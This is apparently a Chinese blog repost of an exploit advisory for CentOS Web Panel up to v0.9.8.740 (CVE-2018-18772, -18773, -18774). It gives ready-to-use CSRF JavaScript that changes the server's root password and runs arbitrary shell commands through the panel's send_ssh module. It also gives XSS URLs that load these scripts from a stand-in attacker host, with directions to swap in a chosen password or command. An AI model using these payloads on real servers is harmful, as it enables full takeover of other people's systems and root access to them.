zoukankan      html  css  js  c++  java
  • CentOS远程执行漏洞

    完整标题:CentOS Web Panel Root帐户接管<= v0.9.8.740远程命令执行漏洞利用

    添加日期:2018年11月5日

    类别:远程执行漏洞

    CVE:CVE-2018-18773,CVE-2018-18772,CVE-2018-18774

    平台:PHP

    原创作者:InfinitumIT

    攻击载荷代码:

    [+] Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
    [+] Author: InfinitumIT (https://infinitumit.com.tr)
    [+] Vendor Homepage: centos-webpanel.com
    [+] Software Link: http://centos-webpanel.com/cwp-latest
    [+] Version: Up to v0.9.8.740.
    [+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
    [+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf
    [+] Discovered by Numan OZDEMIR in InfinitumIT Labs
      
    [~] Description:
      
    Attacker can change target server's root password and execute command, by CSRF vulnerability. 
    Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS 
    vulnerability and run bad-purposed JavaScript codes on administrator's browser.
    So, CSRF/XSS to full server takeover.
     
    [~] How to Reproduce:
     
    Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
    Hacker will create a website and put those codes into source:
     
    <script>
    var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
    var params = "ifpost=yes&password1=newpassword&password2=newpassword";
    var vuln = new XMLHttpRequest();
    vuln.open("POST", url, true);
    vuln.withCredentials = 'true';
    vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    vuln.send(params);
    </script>
     
    (Update newpassword as the password that you want to change.)
     
    If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
    But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
    http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
    After exploiting, you can connect to server by Putty or access the CWP panel with the password that you have specified from 2030 port.
     
    The second vulnerability is remote command execution.
    Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
    Again, hacker will create a website and put those codes into source:
     
    <script>
    var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
    var params = "ssh+command=whoami";
    var vuln = new XMLHttpRequest();
    vuln.open("POST", url, true);
    vuln.withCredentials = 'true';
    vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    vuln.send(params);
    </script>
     
    (Update whoami as command that you want to run.)
     
    Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
    But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
    http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>
     
    // shouldnt think that CSRF/XSS are unimportant vulnerabilities.
    // for secure days...
  • 相关阅读:
    EL&Filter&Listener:EL表达式和JSTL,Servlet规范中的过滤器,Servlet规范中的监听器,观察着设计模式,监听器的使用,综合案例学生管理系统
    Node搭建api接口
    菜鸟程序员的react TodoList练习之旅
    js 手机靓号正则
    js 去除省市区
    select 下拉框在手机上第一次点击获取不到值
    ios下输入框聚焦文字显示不出来
    浅谈js中的深浅拷贝
    原型和原型链
    将多个对象合并成一个数组的方法
  • 原文地址:https://www.cnblogs.com/chk141/p/12220318.html
Copyright © 2011-2022 走看看